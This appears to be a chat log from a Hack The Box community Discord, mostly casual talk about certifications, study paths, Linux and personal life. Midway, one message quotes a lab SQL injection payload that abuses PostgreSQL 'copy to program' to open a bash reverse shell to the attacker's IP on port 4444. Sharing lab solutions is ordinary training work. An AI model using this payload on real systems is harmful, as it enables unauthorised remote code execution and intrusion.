so like its a totally reasonable thing to wonder as a newb. Its just also something youd figure out 10 seconds into a tutorial for the language
The term 'programming language' is more of a structure for a machine to understand, rather than something for you to understand. Rules are very different.
oh wait i get it now
I guess googling is another skill that needs honing
Ya it's the one thing I can't figure out
Ah thatd make more sense
No like how this jack-the- giant would it work like print-(hello)
If you want my (free!) 2 cents, I wouldn't use AI right now other than having it like a teacher/mentor. Not to magically hack for you.
It's basically just a list of things to do for a computer, and you have to format it in a way that an intermediary system understands that turns it into the raw language that the processor understands.
And different languages will work differently with their own syntaxes
?
Right is this python code or how would u write it print-(hello)
Trying to break it down for a non-english speaker to understand
Your syntax would actually be: print("hello")
can you read this public class Main { public static void main(String[] args) { System.out.println("Hello"); } }
3 backticks
FOUR backticks
And you get highlighting if you put the name of the language after the first 3
Unless you use notepad like an OG 
@strong pulsar , Did you get it? 🐍
I saw a rat
holy shit my rank is so boosted
i need assistance at that part of using web proxies
respect for respects?
ask in #modules
What is up
Academy doing work
Hey, bro
Academy doing a lot of heavy lifting
I like it. It really reflects the whole experience
I think there was negativity from a few people for the first few hours, and now everybody seems to be okay with it
academy > labs
damn i should play the halo series again
imagine not being able to send gifs
anyone here tried MSSQLHound?
kratos are u overhead barbell pressing ur body weight yet

it explains how many points you will get, but not the number of points required to level up
Long day in the mines… I’m beat
thanks
flashbang
Reverse equity 😤

Don’t care
CRTO+CRTL
Loser
Let the record show that my client has a season medal! 🥉
Maldev wannabe 🫵
I won't do offsec content lol
Can someone become Pro Hacker just by doing academy?
(Pointing my at myself)
Since academy influences the level
Nah
I dont think so
Those are considered current season ranks now?
I may be wrong I thoughts that’s what I read
pure thm guy huh
Season ranks are seperate
No not like silver and gold
stfu and go study
Seasonal ruby and platinum
Like active legacy ranks
Fuck off, college exam today
Top 67%
Gotta rank up lil bro
like I care bitch
nope, those ranks have the same system
HOW DO I MANAGE COLLEGE AND HACKING
I see
You choose one
Ceald never misses
I was in University while studying for CPTS
sounds like a Skill Issue
I chose hacking
listen to him
How did you manage? Teach me
I have no life 
Same question for me but i skip college, i hv 76% overall attendance m fine
Time management skills
I dont wanna fail in college tho
Unemployed and a stoner at 21 🔥 next I'll make a podcast
(Don’t have friends)
Same here
Twin
Same :" )
Use Niri
Don’t even respond
Much better
Just stop using it
How else will everyone know I use hyprland btw?
I'm still on Xmonad and X11/Xorg
X11 my love
I won't switch anytime soon
Hehehe
Wayland is a mess of its own
Wayland does have backwards compatibility btw
How the heck man, same for me, i too have exam starting from monday :" (
void linux, hyprland, rio terminal
Just to make sure it can break old stuff, as well as new stuff
Yes
TTYL chat
I’ve got some things locked in this noggin that have been unlocked by a sour
I chose not to study to my big data test tomorrow to learn some thread hijacking
The hyprland status tho is from my arch machine
How do I study hacking during this time
skill issue broski
Thread injection shmread injection
And then? Your college grade will fall down, what will you do then?
Come back to me when you have something actionable
C get degrees vro
M gonna start studying from sunday noon for my clg test
American detected
Jk jk, do good in college if you wanna do higher education
till then CPTS path
I dont care about my grades, I'm passing the semester
(I already knew that)
Ive done all my exams this week by spending time on HTB instead of studying 🙃
WELL I AM NOT.
0x72 you have a brain issue
How many Cheeseburgers per freedom is USA?
why bro
As a native
Ok bro
kratos has been trying to kiss me for a while
At least 10
Strange that even Americans need a 9mm instead of a 2incher 🤔
🔥
😚
lock in TE1M
Aren’t you French?
-Canadian 
imagine leaving your house
what should i do with my vps? i already setup caddy and tailscale with some docker containers
I had a panic attack before I did
Uhhh scripted machine deployment
so real bro
For testing VMs
you're a real one
boring
Like as in pentesting VMs
Lots of false positives
Rainbow table generator
Yes
@meager kernel if I did all those paths during a whole year in college, you can too
Bandit SAST tool
Make whatever you want dingus
Can anyone help me understand hackthebox academy and labs ...and exams
Wym bbg
Academy is to learn, Labs is to PWN
which exam you wanna do?
Never buy cubes directly
Okay then !
3rd party BTC trade
Is there any free alternative to pass the exams in htb
what
No. Life is P2W
Like from YouTube or any git forums
no, to take an exam you have to complete the whole academy path
There are cheap ways to do the course, but the exam costs are always going to be there
i think i saw some rare occasion where they gave away a free voucher but i am not sure really
I want to to know what are they
@misty jewel are you a student?
i could be misremembering
Yes I am a college student
go for the student sub
they seem to only have sales on black friday though
The only certificate you'll get from youtube is "Certified Ad-watcher"

My college isn't listed there
just provide something that proves you're a student
And my college didn't provided me an academic email
Neither is my university but you can still dewit
RIP 🪦
Step by step guide on how to access the Student Plan.
That's what I was saying
If you are a student, but your institution does not provide you with an academic email address, your eligibility will need to be manually confirmed by our support team.
Open the chat, choose Student Subscription, and then select I do not have an academic email.
read my messages lil bro
no, I make debts
Or hacking
yeah
I am a rat
Reading
You're 5ft6" little bro
tech is one of the top paying categories
What is going on lol
On the htb page or in discord
A skid cant hurt me
STEM
academy website
I make nemeses and that’s more than enough ❤️
Okay thanks
Yeah I get that that doesn't mean you make money now doesn't
What about a taller skid? 
@misty jewel HTB will provide you the sub if you can provide proof that you are enrolled at an educational institution. your college ID may be sufficient. follow these steps
it does mean a lot of people do make money from it, some of the richest companes in the world are tech companies
why are you talking about height bro lmfao
I know that that's not what I asked
but that was your response to my answer about what you asked
Okay ..
Most people in #general are unemployed
But should I finish free paths or basic learning first or htb will teach me from scratch??
My last two jobs were a fulltime backend PHP dev. I made financial and real estate software
Define scratch
Because I saw you call the other dude little so I felt like it was a good dopamine oppurtunity 
Then I did a masters/bachelor in cybersecurity and certs and now I'm looking for work in the security industry
calling someone "lil bro" is just a meme
Like tools and techniques
I know basic linux and networking
How much tech do you know
Building them or using them?
I did some of the "networking fundamentals" path and then I went for the CPTS path
htb teached me everything I know
What do you consider basic?
At my current stage I guess using them to understand how this works
It wasnt serious
(he knows nothing)
my bad, I'm dumb
I didnt use emojis to be fair
You can read the source code for tools that are open source
Linux file system and commands .. what are permissions
teached
enough of yapping for me
When CPTS
Nuh uh
next week, monday
I wanna stress over flag 13 and 14
Not really
So you're just getting started with Linux I take it.
I don’t actually care
it isnt, both are hard and both have diff content
Student pack is 8$ a month
How many months It will take to clear the path
@misty jewel if you haven't you should use Linux as your main if you really want to learn it
Sudo = godmode 
yeah, you can def do cape before cpts and be ok
Infact I bet it’ll only make CPTS easier
it didnt
I have it in virtualbox cause my gpu doesn't support linux graphics
Not when parts of the filesystem are owned by nobody 😭
Okay then fuck me then
Or "Super User DO" If you want to be technical
Rx 550 isn't giving any dislay during linux installation
What
What distro are you installing?
CPTS got hands
That’s what they say
https://wiki.archlinux.org/title/NVIDIA should help you with it
I'd rather not if thats ok
I’ll take it in a week or two
I have amd gpu
The arch wiki is the best Linux resource out there imo
Then Linux does support it
I’m unemployed so I’ll have 10 full days 😎
Use it in bare metal
What's difference
Huh?
It forces you to learn it
How
So did I 
Don’t make him do that
Honestly I’m not worried
It’ll be challenging, but not impossible
I installed linux long years ago when I was in class 9
Which distro lol?
I used for like 8-9 months
I feel good about my skills, just gonna finish CPTS track then tackle to build familiarity
Nah
My first distro was linux mint
Good choice
Thats how i started learning, just boot linux baremetal and it forces you to learn because u have no other option
You don’t need anything other than Ubuntu
Lol
My first was Caldera Linux
Back in 1998
Then I installed arch linux
i think red hat popped my cherry

I installed tools ..learnt how grep works
Its j facts sorry bb gorl
or maybe it was slackware
I distrohopped for 2 years, then in 2000 discovered debian
Is that Dante from shinigami tensei
Been debian since
Do you really know Grep though?
in 2016 I switched to ubuntu
I too but in just 3-4 months i hopped 14+ distros and then settled at arch
It was installed in my school
My school taught me linux in class 7
Exodia was hectic
Idk what that means
What is class 7
Did you use archinstall?
School level
No I used youtube basically same
Like the 7th grade?
Yeah
Yikes
Uhh
My school abandoned windows
You tell em rat
So basically I am weak in windows more than linux
I make Debian wallpapers 🙂
nice i like it
But to hack I need to know both os fundamentals
im running some simple greyish one
Reminds me of Dorfic(?) That cyber industrial feel of orange being the future.
Mhmhmhmhmhm
Means that you are superior

Didn't helped me much
Ofc they didn’t
💀
hi chat
Hey pookie
I was thinking about tryhackme...but hackthebox has more reputation
I’m wildly inebriated at the bar
Discussing illegal activity is the quickest way to a ban
Rat
its thursday why r u at a bar
why you have one
Where was I
That’s how longs it’s been since I’ve gone out
Unemployed, no friends
based
I went over a year without stepping out
I needed the hackthebox paths duration
Can I finish them in 1 month if I give my full??
..
Like just on my ow going out that is
No, expect it to take 6
For CPTS
I started with only the knowledge I had from A+
Took me about 7
With a 2 month break
real
Strange it's odd but due to testosterone men usually are inhibited to not be social when their brains are stressed out.
Okay
1 month is definitely never going to happen lol
cpts took me 6 months
The paths have labs?
I know they say “40~ days”
Or just videos
That’s bullshit
osep also did but i was having some life things going on
No videos
No
Don’t do tryhackme
You don’t need offsec
Wait till you get a job that’ll pay for those
Why
HTB is enough
Okay
Labs are more “real”
I am just curious
Content isn’t as good
Dumpster tier content
Understood
Just do HTB dont waste your time
Also they use your hacking activity to train their pentesting model
Job? 
Ya it took me 16 days to reach the x8 hacker level
J*b. Sorry pookie
pookie 
Fuckin triggering me over here gonna have to give up day drinking and droppin' the hard R
To enter into industry level what do I need ...certs or projects
both probs
Both
Ideally
What about competitions
not necessary, but doesn’t hurt
Looks good on CV
Understood
Like pwn2own and other CTFs
i got my current job by bitching on discord about not getting hired
Pwn2own not being a ctf
Should I go for blue team first?
Shit I might have to try it
blue team might get you a job faster
I’m soooooo tired of not being a pentester bleh
thats an easier path, BUT u should do what you like
i hate blooping personally
Understood
Bloop 👎
why is no one hiring me 
Idek what that flag is
fax my brother spit your shit
mistake lol
blue personing
be careful of 12
Hell im jealous
maybe i should go get some ^^
i should finish osep exam drunk
??
100%
Hmm the thing I liked about the cpts content was actually the fake companies surprisingly. See how logistics and trucking can be valuable. Providing a layout of businesses that would be of benefit to your services.
You only need like one more flag right?
Real
lol
Get bar food
You only needed 10 to pass?
only need 10 or secret txt
That’s like 50% of the flags no?
idk they wont tell me
Huh

(I have zero AV evasion knowledge)
the content was harder
Valid
ive literally just been lazing around the whole time
if you use a 0day you find 0day.txt which lets you pass the exam automatically
when i took OSWA i had thirty minutes left before i had a passing score
i was stressed

Lmao no i do
(My web sucks so bad)
Right????
just get echoes to help you
web is a lot of feeling blind in the dark
web is huge
Even though web is like “logical problems” it’s just weird
Like i never know when to test XSS
AD is fun
Like oh I have this perm I can do this
And that’s it
after i take cape ill do web stuff again
when the code is unsanitized
I hate you
AD is 4 protocols, web is 500 quadrillion apps and frameworks and libraries and services

depending on how the content is i might take cape in one or two months
people keep saying im cape ready but idk
you're cape ready
lmao

Mmmmmmm
You a bitch if you dont get a ride
I had New England IPA

sobering up isnt that fast lol
I am no longer wobbly
vro
you can have 1 drink per hour as a male and probably be ok
Yeah that checks out with what I had
Sureee
3 drinks
Mhmhmhm
lmao
Like fr
I’m a light weight so it hits hard fast and then if I give it enough time I should be good
ah ok
As in rn I feel good
Theyre so bitter
I am on my deck drunk. A fatass possum just walked past me hell yeah

34 minutes of fucking pain 😭
remind me to never do manual SQL injection ever again
no idea, i just hope u are
i will make sure to remind u again
😃
i never even ran sqlmap. I just fucked around until I realized i could move files. then i deployed a payload (http://10.129.137.16/dashboard.php?search=%25'%3B+copy+(select+'')+to+program+'bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.191/4444+0>%261"'%3B--), spawned a shell, used the vi vulnerability, and FINALLY because it took me 34 fucking minutes, FINALLY got the flags
If your working with this profrssionally you may have to do it!
yeah I know. not looking forward to it.
Or, you coul also choose to NOT work with this professionally and just ignore all rules of engagement

Eventually I'll figure it out
Sure you do 
that didnt work as expected xD
Is it too early in the morning?

Hello. Nice to meet you guys.

Thank you mod.

where can I read about roles?
Hello my georgeous hackers. Does anyone of you know if this new experience system in HTB Academy will (or is?) merged with the HTB Labs?
So far it looks like I am a Professional in HTB Acadamy, but also a Script Kiddie at the same time :P.
Hi All. I have just started using HTB learning. Currently I am trying there Network Enumeration with NMAP module. They have given some commands to try. When I try those commands in there spawn box, I am not getting the output as shown by them. Can any one give me some help on this
your best guess is to ask in #modules
i don't think we have anything regarding roles
I see. thank you.
the most important roles to know are:
- Discord Administrator: admins of the server. not necessarily HTB staff
- Moderator/Senior Moderator: mods of the server. not necessarily HTB staff
- SERIOUS RULE BREAK: ping this role if a serious rule break happens. it pings all mods and admins. if you misuse the ping, you will not like what happens
- HTB Staff: employees of Hack The Box. not necessarily mods or admins
- Community Contributor: community members who are recognized for having generally been helpful to the community by helping others and driving meaningful conversation
That's a great information.
I am curious about Community Contributor. Is there any benefit for being a Community Contributor?
Yes, but its not something you can apply for, read more here: #📣-announcements message
htb need sado role for me
yes, sad role just for you

gif doesnt even work

that's one of the town slimes from terraria

gave a gamer boy hickeys, call me the mark-applier
When did HTB shift to levels?
And when are the levels going to be reflected by the Discord bot? :p
A few days ago. Here is the official blog post on it:
hi
I like the idea that it is aimed at continuous improvement
A comical problem that THM had when they switched to a similar system was that new users could chain together easy rooms for insane multipliers to rapidly pass extremely active users who had mostly run out of rooms.
Here's hoping that HTB doesn't have a similar issue :p
At least in this instance it related to overall account progress across the platform, but there are non-scaling multipliers for active machines
That makes sense
It will be interesting to see what they have to say about it tomorrow in the cube talks
Huh. I was wondering why the official Arknights Endfield Discord member list was lagging.
Turns out they have 570,000 people in their Discord (Turns out HTB has 368,000)
Sounds like they are in need of some load balancing
Most probably wont
I see many people irl doing THM and thinking they've become good in cybersec 😂😂😂
I know, my message a few posts after said that.
hey guys

Hey how are you guys
??
Only 4 hours until weekend
Froj new account? 😮
Everyday is a weekend for me right now
I thought were on #general arent we
Wht does that have to do with u not getting the joke?
Wtf
I never said that u weren't supposed to say it or it was stupid to say it here
Chillax bro
Grillax
How can I be when u haven't yet told the date for me to come to ur island
U made many promises too
idk but i felt ur hesitant
Nahh
hii
🧿
chat i rooted this router but i cant find /root/root.txt
WHAT
no root.txt?
maybe u have to move to another router
that what i though i think they want me to pivote to their TR-069 gateway and pwn other routers
yeah
I think so
but that would only get me user.txt, i think root.txt is under the jail pillow
very likely
ITS A HONEY POT AHHAA
wait i actuall y found the TR-069 management password ..., and they call this BS encryption ???
Htb should add maldev and EDR evasion module to cpts
no buddy
maldev is not needed in CPTS
and maldev is probs tier IIII
i challenge you to do the the thinnclient module blind
It has a gap where it deeps dive into tools that real production environment i wont be able to transfer or load
Already did this
Not an expert but thats what i think
Mal dev for what os?
DEEZ
Windows
Both windows and Linux offer challenges
Maldev does not belong in the CPTS syllabus 😭😭
AI becoming too expensive we just laid off 7 agents for 2 junior developers
it doesn’t
Setting up cross compilation is already fairly difficult. Teaching somewhat up to date techniques would be hard too and edr evasion would be impossible because it's a cat and mouse game at this point 😅
CPTS already has an insane amount of content lol
yes and also youd never use it on the job as an entry level pentester
Aka the target market for CPTS
@austere sinew froj is here 
Makes sense
also health check
mingw gets the job done, llvm is more powerful if you wanna customise stuff
Wait really
Fuck
I thought it did
Oh welo
